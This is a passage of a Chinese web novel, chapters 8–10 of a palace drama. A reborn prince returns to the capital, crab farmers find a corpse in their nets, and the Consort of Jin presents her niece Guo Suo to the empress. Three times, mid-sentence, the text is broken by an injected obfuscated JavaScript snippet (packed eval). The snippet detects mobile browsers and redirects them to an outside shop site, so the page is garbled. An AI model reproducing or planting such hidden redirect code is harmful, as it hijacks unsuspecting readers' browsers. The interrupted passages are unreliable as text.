如今，萧庆和她还是他身后的两条小尾巴，吵吵闹闹的一双弟妹呢。 回京路上，他心事重重，不知自己选对了没有。 他知道，他独自再闯敌营，杀了敌军将领，立功得了封赏和父皇好一通夸赞。 可是，就是在安国的军营里他首次遇见了郭娑。 他不想与苏萦纠缠半生，也不想让郭娑再陪着他穷困潦倒了。 他想修正上辈子犯下的过错，弥补那些让他耿耿于怀的遗憾，然后一个人躲起来。 马车辘辘向前，他掀开车帘向外张望。 “有还哥哥，你在看什么呢？”苏萦好奇地挤过来。 “北漠。” “你在这儿能看见北漠？那我也要看看。” “嘁，只能望出去几丈远，北漠在天边上呢。我看到咱们半个时辰前歇过的五里亭了。” “这条路原来这么短啊，可是感觉咱们走了那么久。是不是？” 见他不接话，她不满意地拧起小眉头：“哎，在想什么呐？” “我希望大朔能打一场胜仗。” 也希望一个北漠的姑娘，永远不要来到京城。 8. 偏爱 一行人马抵达大朔京城晏京，苏萦兴奋地频频掀开车帘，好奇地窥探着车外人声鼎沸的市井风光。 萧征端坐在车里巍然不动，倒像怕人看见似的。 前世他是打了第一场胜仗的小将，骑在高头大马上耀武扬威，享受着晏京臣民的夹道欢迎。如今夹着尾巴灰溜溜地回来，虽说其中有自己的谋划，还是不免有些黯然。 越近皇宫，他心中越慌张。近乡情怯。 比他还怯的另有其人。 苏萦苦着小脸捏着他的衣角央求：“我可不敢自己去见母后。你陪我去嘛～我怕她罚我…” 好容易挨到玉栖宫，两人揣着截然不同的心思，都心跳如擂鼓。 步皇后早已携宫人们等在门前。 他的母亲，比他记忆中还要明艳动人。 步皇后激动地迎上来，将两年未见的儿子细细端详。听闻他身陷敌营，不知受了多少苦，一想到这里，眼中便汪起了泪水。 宫人们也跟着伤感起来，还没来得及陪着抹眼泪，只见步皇后脸色忽地一变，拿眼稍子扫着萧征身后的苏萦，怒极反笑道：“找着你有还哥哥了？” “不难找，他又没变样子。”苏萦将整个身子藏在萧征背后嗫嚅。 听得母后的语气不对，她急得使劲扯着晃着萧征的后衣襟：“帮我求情，帮我求情！” 萧征耳中只嗡嗡嚷嚷乱成一团，呆立原地，两行热泪悄悄地滚了下来。 步皇后和苏萦都叫他这一出吓呆了。 “母后，”魂牵梦萦的想念和失而复得的狂喜让他哽咽的话音颤抖：“我真的…” “…好想你。” “你们都退下吧，本宫和永宁王进屋说一会儿话。” 步皇后遣散众人，眼神示意苏萦也先回避。 “哥哥好聪明，苦肉计用得真妙啊！”苏萦逃过一劫，赶忙拉着侍女蜜合遁走。 房中备着热茶点心，两人并不急着就坐，步皇后先走到萧征身前轻轻揩去他脸上的泪水，怜爱地笑道：“这孩子，想家了？一见着母后就眼泪汪汪的。先前信上总说立功，打胜仗，还跟我说打仗好玩儿呢。这回差点没命，吓着了吧？” 打仗好玩儿？他还说过这种疯话？ 萧征在心里苦涩地笑了。 他任由母亲轻抚自己的脸颊，贪恋地呢喃：“娘，能见着您真是太好了。儿子…是真的很想念您。” 步皇后无奈地轻声叹息：“想母后，就在宫里好好陪陪母后！别老是出去野，我就谢天谢地了！你这次去没带着庆儿，可把他给气坏了，发了好大的火，你等着一会儿他来找你算账。” 话音才落，就听门前吵吵闹闹，萧庆气势汹汹的来了。苏萦跟在他后面，两个孩子叽叽喳喳的斗着嘴。 苏萦跟在后面扯他的胳膊：“你别去，有还哥哥在单独跟母后说话呢！” “哥！太不像话了吧！你连苏萦都带着了，居然不带我去！” 他的亲弟弟，总是这么气冲冲的，简直分不清他和苏萦的脾气谁更大一些。行军也急，作战也猛，随他从军二十几载，都说信王的军队势如野火，杀的敌军片甲不留。 可是当下，他还是个战场都没上过的孩子呢。 “你问问娘，许不许我带你去？”年近五十的灵魂看他十几岁的幼弟如看童稚小儿，一张口，就不由得让他想笑着好生哄劝。 “难道娘许你带她了吗？”萧庆委屈地瞪圆了眼睛一指苏萦。 “嘿，萧庆，你老跟我比什么！我是自己有办法，偷着混进去的，谁像你脑子笨，想不出办法来，活该在宫里写字背书！” “娘！你看他们两个，合伙欺负我一个！” “好了！”步皇后板起了脸：“谁也不许再吵了！未晚，去西次间把《孝经》抄十遍给我。今日不抄完，不许睡觉。” “有还，跟我去面见你父皇。” 萧征的心里一沉，苏萦的小脸一垮，只剩萧庆还不依不饶：“母后，那我——” “此番你若是也跟着去了，我现在就让内侍请出戒尺来打你二十板子。”步后瞪他一眼：“然后再和未晚一起把《孝经》抄十遍。” “你还不见好就收，赶紧出去？” 萧庆虽然仍有些不服气，还是悻悻地做了个鬼脸跑了。 父皇比他记忆中还要苍老些。他是父皇五十二岁时得的幼子，如今坐在堂上的皇帝萧弘德，已是古稀之年的老人。 “寄远啊，你说你三哥和你，用兵打仗的风格有何不同？” 他在堂下跪了，将事先想好的话一字一句地答出来：“三哥行事磊落光明，让人挑不出错处来，是治国的风范。我却只想讨巧冒险，此次若不是三哥及时接应，儿臣就身陷敌营，成了安国的人质。是儿臣考虑不周，儿臣自请受罚！” 他低着头，不敢抬眼看父皇失望的表情。 堂上传来老皇帝强忍着怒气的一声叹息。 “陛下，孩子身上的伤还没好呢，先让孩子回去休息吧？”步皇后在萧弘德耳边柔声地劝慰。 父皇不耐烦地一摆手，母后也忙向他眼神示意，他行了个礼退出父皇的书房。 房中随后就传出茶杯掷地的碎裂声。 “不过是在敌军大营里过了一遭，吓得骨头都软了！蔫头臊脑的，朕看着真生气！”皇帝犹在气头上，随手把桌上的东西拂了一地。 “朕本来以为，他都能独当一面了！结果，还是他三哥的跟屁虫，唯老三马首是瞻的！都十八岁了，张嘴闭嘴，全是称赞他三哥如何如何。卿曼，朕怎么能不为你们母子三人的将来谋划呢？以他的资质和你我这些年的感情，倘若有一天——” “他得能扛起这重担来呀！” 父皇的话语，如同锥子刺在他心上。前世，父皇还在世，还庇佑着他们母子三人的时候，他全然不懂那些道理。父皇许多次当众夸赞和肯定他，想为他树立威信，想为他扫平继承皇位的道路。殊不知，“小儿持金过闹市”，让多少双眼睛早就盯上了他，一直不显山露水的萧谅，早早的忌恨上了他。 他不知道萧谅何时打起的算盘，可他猜得到，这么多年来，萧谅的每一步筹谋环环相扣，早已经结成了一张密不透风的网。无论如何，他不能再像当年一样展露锋芒。 他退避，却不知自己是否避的太多，引父皇嫌恶，让父皇觉得他连志气都丢了。 寄远，是父皇为他起的表字，盼他志存高远，一飞冲天。有还，是母后为他起的乳名，愿他即使千里征战，也能平安还乡。 他等在门外，不多时，母后也走了出来。见到他，微微有些吃惊，心中忖度那些话他听到多少。他小心遮掩好表情，陪着母后回宫去。 “有还，在安国军营，是不是经历了什么很可怕的事？”皇后敏感，还是发现了儿子的异样：“娘总感觉我们小十七人虽然回来了，魂儿却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799158|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道落在哪儿了。在外面吃了什么苦，愿意跟娘说说吗？” 他注视着母亲关切的眼神，依旧年轻美丽的容颜，强忍泪水，掐着自己的手心默念：娘，我一定救你，我一定不会让你死。 到了玉栖宫，他正要转身离开，步皇后叫住他：“有还，就在母后这里歇歇吧？两年没见，母后想好好看看你。翠雀，给永宁王铺床。” 昏黄的烛光下，萧征昏昏睡去，步皇后坐在一旁默默端详。 她想起他小时候也淘气贪玩，第一天开蒙就从凳子上溜下去，挨了她一顿好打。她将小肉球一样的孩子摁在膝上，劈里啪啦地落巴掌。那张小肉脸上眼泪鼻涕糊了一团，身上衣衫也拱的凌乱不堪，小孩抽噎的要喘不过气来，黏糊糊一叠声地叫娘亲。 四岁的孩子呀，懂什么呢？可是不打不行，将来能倚仗的就只有这一个了。这个还惯着宠着，将来当个平庸的郡王——前一个就白死了。 看着长大了的儿子睡得一脸疲惫，步皇后心中暗自思忖： 怎么一下子就长这么大了？ 睡了不多一会儿，萧征醒过来，起身问步皇后：“未晚回去了吗？我去看看她。” 苏萦睡得可没他那么舒服。 手边放着厚厚一沓抄好的经书，小姑娘趴在桌上，手里还握着笔，笔尖在面前没抄完的纸上洇开一大块墨迹。 萧征悄声走到她身后，将自己的外衣披在她肩上。 烛光照着少女饱满的脸颊，是小荷初绽的清纯俏丽。 这丫头，上辈子她年轻的时候，身边伺候的人明明多的很，这会儿都躲到哪里偷懒去了。 他回到步皇后房中，有些局促地替她求情道：“母后，未晚这几日也是和儿子一同舟车劳顿，她是女孩子，年纪又小，母后今日，可否先放她回去休息啊？” 步皇后了然地微微挑眉，轻笑道：“未晚那孩子，我自有分寸，你先回去吧。” 萧征才跨出玉栖宫，二门里一个鬼鬼祟祟的身影就赶忙跑回西次间报信。 “郡主，殿下走了！” 苏萦“扑棱”坐起身，一双杏仁眼亮晶晶的，半分睡意也无，得意的打了个响指：“都看见了吗？” “看见了看见了！” “真像郡主说的！”从书架和屏风后头一连钻出四个小丫头，凑到苏萦身前兴奋地点头如捣蒜。 “我听的真真儿的，殿下刚还到皇后娘娘那儿给郡主求情去了！”刚派去打探消息的二等丫鬟朱樱忙补充道。 “哇哦，还给求情呢，好贴心哦！”她旁边的姑娘苕荣表情陶醉地双手交握抵到下颌上。 苏萦反手捏着肩上披着的外衣，得意地挺挺胸脯抬抬下巴：“你们说，有还哥哥怎么突然对我这么好？” 蜜合微微一笑，柔声分析道：“皇后娘娘不是说过，男孩子都是开窍晚。如今殿下和郡主都大了，殿下定是想到，左不过这一二年，皇后娘娘便要安排你们二人把喜事办了。将来，郡主便是妻子，不再是小妹了。这和从前哪里相同？不就渐渐的学着体贴起郡主了。” “奴婢要给王妃贺喜了！”朱樱做了个鬼脸，顺势弯下腰去作了个揖。 小丫头们叽叽喳喳笑成一团。 “好了好了！”苏萦强忍着得意收住笑，学步皇后一样板起小脸：“还在这里说闲话，几时能抄完呐？蜜合快给她们分下去，早些交了差，咱们回宫睡觉去。累死人了！” 9. 螃蟹 农历八月，正是吃蟹的好时候。十四岁的蟹农阿和，由同村的李青哥带着，去渭水下游的阳湖收螃蟹。两人的小船带着蟹拖网，悠悠地荡在水面上。 李青撑船，阿和摘网，两人配合默契。阿和虽是生手，做活却不慢，没一会儿船头硕大的蟹篓就装的满满当当。 酷暑时节已过，湖中的螃蟹经过半个多月的休养生息，个个体大膘肥，青背白肚，挥舞着金黄色的钳子在蟹篓里翻腾。 离上次起网已过了半个时辰，阿和又一次走向挂在船头的网绳。 一拎——“好沉！” 他心里一喜，抱住浸在水中的大网全力一拽—— 一声惨叫，孩子窜到船尾，抱着李青的大腿像抓住了救命稻草，精瘦的身板抖的筛糠一般：“死人！死人！” 李青循声望去，蟹网中，一条手臂泡得白中带青，肿得有常人两个粗，没了两个指头。与骨脱离的肉烂成絮状，其上还挂着几只不肯松钳的螃蟹。 阿和扶着船舷吐的昏天黑地，再不敢向那蟹网近一步，李青壮着胆子挪过去，把鱼叉倒转来拿，一点点，一点点的，把那条人手又拨回到水中去了。 “没见识，”李青“当啷”把那鱼叉丢下，推阿和过去摘网：“安国和大朔的仗都打了多少年了？眼看都打到上游，打到咱们眼前来了。从我像你这么大，刚开始跟着乡里人做蟹农的时候，我爹和我哥就跟着军队走了，至今也还没个消息，不知是死是活。我看呐，八成也死在外头，给蟹子当了饲料了！” 见阿和还两眼发直地愣神，李青不耐烦地搡了他一把：“你小子愣什么神儿？人断了手脚，不关咱们的事。可这捞上来的蟹子哪怕少了一只钳子，苏侯爷都是不收的！” 晚上蟹农们围在一起吃饭，卖不上价的小个儿螃蟹胡乱切碎，加葱姜一煸，菜就成了。蟹壳在人们齿间碎裂，满湖岸毕毕剥剥的脆响。 阿和却吃不下去，没法不去想那只被推回水中的人手。围坐在一起的蟹农天南地北地高谈阔论，他缩在旁边，有一搭没一搭听着。 “发现没有，今年的螃蟹特别肥！就连那没有拳头大的一个，膏都是满的！”有个粗嗓子的人吆喝着。 另一个抽旱烟抽哑了嗓子的接上了话茬，声音极喑哑：“还不是因为今年上游打仗——” 老蟹农们心知肚明，有战乱的年景，螃蟹总是特别的肥。尸体沉入水中，成为螃蟹们的饲料。 “听说啊，这仗马上就要打赢了，”又有人发了议论：“咱们的皇帝是从北方来的，所以不大会打水战。多亏有乔大将军和他手下的神武军！乔大将军用兵如神，把敌人打的是节节败退——” 那人说的好像亲眼所见似的，他唾沫横飞绘声绘色地说着，众人端着饭碗抻着脖子聚精会神地听着。 “立了大功了！”话一说完，马上就有人惊呼：“这场仗若是打赢了，日后论功行赏，乔将军定是头一份的！” 乔家的祖籍就在这秀州，蟹农们都自豪地亮着眼睛，因他们的父辈或许曾是乔家的乡里乡邻。 “乔大将军多大年纪啊？”阿和壮着胆子发问。 “听说，才二十多。”那人扒了两口饭，走到饭桶前去添：“他老子也不是平民百姓，也是在京城里当大官的。” “诶，”那人想到了什么，拿筷子一指那堆螃蟹：“正是苏侯爷的姻亲。” “能和苏侯爷攀亲！”蟹农中有人抽了口凉气。 “苏家是全秀州最富的人家了吧？” “兴许是全大朔最富的人家也说不定！”旁边的人粗着嗓子纠正他：“既富且贵。他那个独生女儿，五岁的时候就送到宫里，封了个什么？郡主？让皇帝老儿帮他养着呢！” “那他到底有多少钱啊？”阿和好奇地轮番望向刚才滔滔不绝的几个蟹农的脸。 蟹农们面面相觑，都拿不定主意了。 “有再多的钱，也与咱们不相干。吃饭吃饭！” 阿和用筷子头撮着碗里粘的饭粒，低下头去也不作声了。岸边的篝火旁，只剩下人们嚼碎螃蟹壳的毕毕剥剥，和篓里活螃蟹们动着脚爪吐沫子的蠕蠕声。 没有一个秀州人不知道苏侯爷。大伙搞不明白他做的什么官。他不坐衙门，又不领兵打仗，却活像个买办。 “管给皇上上贡的。”有的人这么说。 苏侯的宅邸占着秀州城最繁华的一条街，若是将侯府里里外外转上一圈，就是有人领着，不怕迷了路，也得要花小半天的功夫。听进去过的人说，里面亭台楼阁皆是全国最顶尖的匠人搭建雕刻，想必当今皇上的御花园也不过如此。 天下的奇珍异宝，好像都要从他手中过一下，才献到皇宫里。从远了看，京城的皇宫里，娘娘们穿的云锦，是他绣坊里的绣娘织出来的；皇上骑的宝马，是他亲自带人去吐蕃买回来的；从近了看，秀州城里最大的酒楼是苏家开的，最大的养生堂是苏家起的，前些年闹洪灾，安置灾民的几十万两银子是苏家出的。蟹农们眼前满筐满篓的螃蟹，也是苏侯一早定下，即日要送往宫中的。 苏家的车队来了，蟹农们劳作一天装满的蟹篓，全倾的空空荡荡。拣蟹人们簇拥过来，敲敲平滑光泽的青壳，反过来瞧晶莹洁白的肚腹，不能沾上一点河泥，蟹脚毛要长而挺拔，金黄的蟹钳要大而有力。螃蟹们还未来得及在河滩上挥舞着钳子横行霸道一番，已在拣蟹人的手中迅速地分出三六九等，那最上等的蟹用包了冰的毛毡一股脑裹了，捆在驿马上，一路风驰电掣，明日天黑前，就可进得皇城，成为宫中贵人的盘中佳肴。 阿和望着空空的蟹篓，少年的心里莫名地有些羡慕那些螃蟹。京城的皇宫是怎样的气派模样？他个连苏宅都没进去看过的毛头小子，却已在肖想着当朝皇帝的居所。那些蟹子被抬进御膳房水煮油烹之前，有没有看一眼皇城的运气？ 皇城高耸，红墙绿瓦，宫院深深。宽阔的长廊上走来一队宫人，抬着一筐刚从阳湖运来的蟹，个大，饱满，鲜活。 许是过于鲜活了，一只蟹子从筐盖子边上悄悄跳出来，滑稽地沿着红墙边横走。 在一丛茂密的花圃前，这莽撞的逃犯撞到宫女的一只绣鞋上。那绣鞋上正绣着一团秋菊，秋菊配蟹，颇有些应景的。 那女孩子却全没有这雅兴，天色将黑，低头觑了一眼，只见脚边趴着个许多条腿的黑东西，吓得差点将手上抱的花篮丢了，动作又不敢太大，只把鞋一抖一踢，低骂一声：“什么鬼东西，去！” 螃蟹飞进花圃中，身旁端水的提盒子的小宫女却都好奇地凑过来，嘀嘀咕咕地小声问她：“怎么了怎么了？” “好像个大蜘蛛，把我吓了一跳。”苕荣撇了撇嘴。 朱樱扒开草丛看定了，笑道：“什么大蜘蛛，这不是个螃蟹嘛！”说罢，捏着蟹壳两端抓了出来。 “草丛里生出螃蟹来了？” “这是阳湖的螃蟹吧？壳上盖着印呢。是咱们侯爷——” 窸窸窣窣的议论声响成一片。 “你们几个！”远远站在前面的领头宫女蜜合转过来低声呵止她们：“昨儿十四公主才怎么取笑咱们的，都忘了？” “说咱们赏明宫做事的个个都是大惊小怪没规矩……”苕荣缩了缩脖子赶忙回道。 “还说咱们真是有其主必有其仆……”红衫的朱樱也吐了吐舌头小声接上。 “嘘！”几个姑娘一起回头瞪了朱樱一眼。 “什么东西啊？给我看看？”花丛中探出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799159|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张明艳俏丽的脸庞，苏萦把剪好的花枝随手交给蜜合，朝她们这边走过来。 “郡主，捡到只阳湖的螃蟹！是不是咱们家侯爷上京了？”姑娘们都高兴。 “螃蟹来就得，他就别来了。”苏萦冷哼一声，走上前看看这只螃蟹，又顺着它向门口望去：“这么不想下锅呀？逃了这么远。” “朱樱，你先回去交给老伍，让他好好养着。” 朱樱拿手帕包了螃蟹，轻盈地跑出花园，迎头碰上翠雀姑姑陪着步皇后走过来，忙俯下身来行礼。 “手上拿的什么？”翠雀姑姑沉声问。 “郡主要的小玩意儿。”朱樱沁着头惴惴地答。 步皇后也没深究，只随口问：“郡主还在园里呢？” “是。” “先去吧。” 两人默默走进园中，翠雀见苏萦踩到花圃中毫不怜惜地嚓嚓剪了不少花苞，刚想出言制止，步皇后抬手拦住了她。 “叫她摘吧。九贤王遗命，这满院子的花都是留给她的。” 四个姑娘手里全抱满了一捧，苏萦才放下花剪：“回去把花枝在水里泡上一夜，明日开了花，我好到花艺课上用。” “若有做的好的，可记得给本宫拿过来放在厅上看两天。”步皇后在身后笑着开口。 “母后！您怎么来了？”苏萦两眼一亮，笑着迎了上来。 “你这丫头，好几天也不来探望本宫，倒要让本宫亲自来看你。”步皇后假装生气收起笑脸。 “未晚正要去给母后请安呢！”苏萦忙撒娇讨好，回身从侍女手中捧了个盒子过来：“还给母后带了好东西，母后快打开看看。” 盒中盛开着一朵金黄的小花，散发着淡淡的香气。 翠雀捧出来，底部四四方方，黄花是镂上去的，竟是块香胰子。 “母后不是说最近一见风，面上就要泛红吗？我查了册子，说这金盏花最养肤了，母后用着试试看，若是得用，我再多给母后做几块来。” “还有这些插花，我明日课上一定用心做一个最漂亮的，给母后送过来！” 步皇后将那小胰子拿在手里细细端详，打趣她道：“你若把研究这些东西的心思放在课业上，咱们大朔要出一个女状元了。做这一块，废了多少料？” 苏萦满不在意地答：“金盏花倒是想用园里随时有的，只是这次父亲替我寻来的鹅脂份量不足，模子才扣坏了几次便不够用了，幸好这末一次的成了！” 步皇后皱起眉头，略显责备地嗔她一句：这季节鹅脂不易得，价钱是冬日的里的十倍不止，你父亲的好东西再多，也不可随意糟践的。” 苏萦嘴巴一噘委屈道：“没有浪费的，做坏的那些，我都叫人重新融好，做成皂团分给下人去了。” 怕步皇后不信，苏萦忙一指身后四个姑娘：“母后不信问她们，连镂出来的边角料都给她们用了！” 四个姑娘点头如捣蒜，苕荣急口道：“娘娘试试，用完脸蛋可嫩了！” 被蜜合在身侧不着痕迹地给了一肘，忙跪下来自己捂住嘴巴，嘀咕着“奴婢失言”。 步皇后也是看惯了赏明宫这帮傻姑娘们，只是微微笑了笑，并不计较。 “母后上回赏我的水红妆花缎，我让绣娘做了件披衫，明儿出宫迎大军回朝，我穿那件好不好？” “本宫才说那些话，你又当耳旁风。”步皇后在她额上戳了一指头：“又想逃了经学课是不是？明日你不许一同去亲迎，给本宫好好地去上学。” 一见苏萦小嘴儿噘的能挂油瓶，步皇后将这小丫头的想法洞察于心，又补上一句：“你那些好衣裳啊，不急在人前展示，等后日开庆功宴的时候，有得是你显摆的机会。” 10. 晋王妃 派去探听的宫人们来报，南台的凯旋宴快完了。 答对完那群功臣将领，陛下就要摆驾福熙殿，与皇室成员们一同家宴。 福熙殿的布置，早从大军还未返京时就开始了。 国家动荡，形势危如累卵，苏萦不知道宫里干嘛还要讲这样的排场。陛下永远有几个儿子在外头打仗。他的儿子太多，打死了也还有。她不知道战场上是怎样的情形，只知道再早些时候，连女人都要上战场的时候，她母亲为当朝大公主带兵，那一仗断断续续的打了十年才完。 整个的大朔版图像流到地上的一滩蜜糖。不断有蚂蚁涌过来，从各个角落吸食，搬运。人跺着脚：“去去！”或干脆用树条子把它们拨开，碾碎了那些虫子，零落的肢体在地上蹭出一条黑痕。可他们一刻不停地挣扎着继续涌上来，越积越多。蚂蚁的脑子是空的，敌国的野心是填不满的。 她不像男人们那么义愤填膺。她只知道有还哥哥可不能给打死了。比起国情，她更重视那隔三差五就要举办的宫宴。恭迎陛下凯旋，欢送陛下出征，哪位妃子的生辰…川流不息地裁布料，做衣裳，研究新的妆容，满屋子弥散着脂粉香。呼啦一下拉过她父亲新送来的一盒首饰，挑挑拣拣，盘算着该梳什么发式。她的首饰，单说绒花，便有一百来个，或簪或钗，没有一件重复的花样子。首饰匣一张八仙桌子摆不下，戴过了的，不喜欢的，就挑出来散给下人们。赏明宫的侍女们穿戴也是最好的。 她拿不准今日的衣裙要配哪条披帛。问姑娘们，也是众说纷纭。她不耐烦起来，索性站起身：“把这几条都带着，到玉栖宫让母后帮我拣拣。” 母后总说要省俭，其实比她还爱漂亮呢。母后说，小时候日子过得苦，别说没好衣裳穿，这些花儿粉儿的也一概没得用的。 母后不是北漠库伦旗的小公主吗？苦什么呢？母后不让她问，她虽说揣着好奇，也不再问。 母后这里有客，晋王妃带着侄女来请安。那女孩子看模样比她稍长两岁，仪态端庄，气质娴静，天生的一副很会读书的面相。骨肉匀称的鹅蛋脸，额头饱满光洁，眼睛不顶大，却好似常含着笑意，鼻子小巧，鼻头却圆润可爱，唇色娇嫩，像初绽的海棠花。苏萦看她倒长得不像北漠人。 步皇后安排她先坐在一旁，宫女端上四色点心。苏萦见那姑娘向盘里一望，像拿不定主意，忙朝其中一种指了一下，悄悄用口型告诉她“这个好吃！”那姑娘依言拿了一个，朝她微微一笑。 步皇后坐在上首的贵妃榻上，脸色像不太好。晋王妃紧挨着她坐在下首，伛偻着背，拼命降低自己，还是像房子正当中凭空摆上一具圆角大立柜。 郭氏整个人感觉非常窘。她的身体太胖大，总想躲到哪里去又不能。坐在那里像一个畏缩的巨人。 她本赔着笑和步皇后说着什么，一见华容郡主来了，很自然地坐在旁边，有外人在这里，她便更窘了，自己截断了话头，交握着两手，“啃啃”地清了清嗓子，低下头去喝了口茶。 苏萦的眼光好奇地盯在她身上。她隆起的肚子可充当一个小茶桌，茶杯可以稳稳地放在上面。 她又怀孕了，苏萦想。记得有还哥哥说过，三嫂嫂的大女儿都已经快到议亲的年纪了。 “皇后娘娘，”她又壮起胆子，挤出笑容来。 这是不出错的尊称，因堂上的女人比她的年纪要小上七八岁：“我这侄女可怜。” “她母亲新丧。不知娘娘那边，有没有先接到消息？她母亲出嫁前，正是库伦部的三公主，娘娘的亲姐妹。” 苏萦连忙朝那女孩子的脸上看了一眼。 那女孩子已红了眼眶：“娘娘，母亲临终前还念叨娘娘嫁的这么远，不知日子过得如何？臣女这次来，就为了替母亲看看娘娘。娘娘若是愿意，臣女想叫娘娘一声姨母——” “步泰反叛，遭陛下亲征镇压。”步皇后冷冷地打断她：“这世上早没有库伦部了。本宫已嫁来大朔二十余年，不再是库伦的公主，只是大朔的皇后。” 姑侄俩的笑容尴尬地僵在脸上。 “库伦部虽已覆灭，可娘娘若愿意，臣女的家就是娘娘的家。”那姑娘的脸红了又白，想了想又开口道：“娘娘一定记得，这个季节草原上的草长得最茂盛，小时候，父王会带着臣女骑着马在草原上驰骋，单手抓着臣女的后衣襟，让臣女俯身去捡地上的哈达——” “是啊，”郭氏连忙附和：“在家的时候，她父王都常称赞她，说公主的胆识和气魄不输男子。” 见步皇后仍不为所动，连忙把杀手锏慌忙地丢了出来：“娑儿，姑母记性不好，你小的时候，部落里的喇嘛降下预言，说你将来必为国母，有没有这回事？” “姑母！”郭娑做出一副尴尬着急的样子：“那都是喇嘛为了吹捧父王，说的恭维话，当着娘娘的面怎么能说这些呢！” 步皇后受够了这姑侄俩拙劣的演技，嘴角含着讽刺的笑意，给了角落的翠雀一个眼神。 “娘娘，时候不早了。”翠雀心领神会，马上走上前来提醒：“咱们该往福熙殿去了。” “既如此，本宫便不多留了。”步皇后站起身，语气疏淡，“老三家的，本宫近来事忙，今日去福熙殿吃了酒，就先回吧。改日得闲，本宫再差人叫你们过来。” “母后，我带郭姐姐过去吧！”苏萦主动请缨，已热情地挽上郭娑的手臂。 步皇后扫了她一眼，朝蜜合手上放着披帛的托盘里随手一指：“换那条蓝的。”便由翠雀引着走进里屋去更衣。 “嘻，”叫母后一眼识破了她来的意图，苏萦做个鬼脸，又从托盘上另取下一条来递给郭娑：“郭姐姐换这条雪青的，一定合适。郭姐姐，你长得好标致啊！” 里屋内，翠雀正服侍步皇后穿上披衫。步皇后的脸色仍不好看，冷冷的低声问：“那孩子是萧谅从安国军营里带回来的？” “正是。”翠雀为她细细整整仪容：“飞廉才传回的消息。” “一个北漠公主，好端端的怎么会在安国军营里。安国国君，正好也娶了一个库伦部的女子。本宫若猜的不错，什么母丧散心，这是在安国没找到中意的金龟婿，又来大朔找机会了。” “翠雀，等今日宴席结束，陪我喝一杯吧。”步皇后才补了口脂的唇边，终于浮现一抹笑意：“多亏了这姑侄俩，带给我这确凿的好消息。这个世上，我的仇人又少了一个。” 当下这个时辰，各宫里都往福熙殿去，晋王妃在玉栖宫门前等了许久，才传唤来一台便轿。那四个抬轿的宫人见了她的身形，脸上惊惧之色难掩。 连她自己也跟着不好意思起来，让随行的侍女先足足地给够了赏钱。 她硕大的身躯刚挤进小轿，皇后身边的侍女追出来，说刚才两个孩子在不方便，娘娘有几句话要单独告诉晋王妃。 侍女凑近晋王妃耳边，低声提醒：“王妃自幼在京中长大，对草原上的事多有不知，难免办了糊涂事。你领来的这位，野心真是不小，只可惜喇嘛二十几年前也有过天命国母的预言，说的正是当今皇后。” “此法已经用过一次，再用就滥了。到时候让中原的皇帝，看你们草原的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799160|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。” 晋王妃吓得面白如纸，豆大的汗珠滚滚而下。 翠雀目送着这可怜的女人远去。她坐在轿子上，还心神不宁地频频向后张望。 晋王妃是个可怜人。宫里许多女人都自怜自艾地这样形容过自己，可晋王妃最配得这样说。 她是北漠王郭吉在大朔做质子时和大朔女子生下来的。郭吉返回北漠的时候，自然而然地丢下了她们母女，回到草原上，那里将为他迎娶新的草原姑娘。郭氏随母亲寄居在舅舅家，与舅舅的女儿徐凤瑶同吃同住。郭吉走的时候，她可不是襁褓里的孩子，十几岁了！眼看就到嫁人的年纪。她母亲到她舅舅家没几天，趁她和表姐去宫里选公主伴读的时候，在房中吊死了。 她本该也随着她母亲去的，不知为何却没有，兴许是脸皮太厚，不知道丢人，她自己到底都没有想明白。她一天天的长起来，长得高而胖，成天的裁衣服。表姐与她截然相反，娇小玲珑，一把纤腰，摇曳生姿，顾盼神飞。 她表姐生得美，见过的人全这么说。说这姿态气度，合该是做太子妃的。但是又听说太子妃更是美得不可方物，加之徐家的官做的小，所以表姐最终被选作太子嫔，是人人都满意的归宿。 可是表姐好像不快乐。她回府省亲的次数不多，脸色一次差似一次。一回来就拉着她的手哭。徐家的人都说，享了荣华富贵，又生了儿子，哭什么呢？她也不明白，问表姐，表姐只是摇着头不肯说。 表姐只做了五年太子嫔就死了。东宫秘密发丧，徐家连个尸首也没见到。不出半月，三皇子求娶她。徐家院里的白幡才撤，就贴上大红的喜字。她是老姑娘了，身份也尴尬，竟有资格做皇子妃。她自己也不敢相信。就这样过了十几年，有时候她自己坐在那儿，人们看她呆怔怔的眼神里，好像还是写着不相信。 后来她才明白过来，被她表姐迷住的，不光只有太子一人。三皇子娶她，只因她是徐凤瑶的姐妹。他常露出那隐忍了许久的乞求表情，悲伤地向她问：“再说说你表姐从前的事吧？” 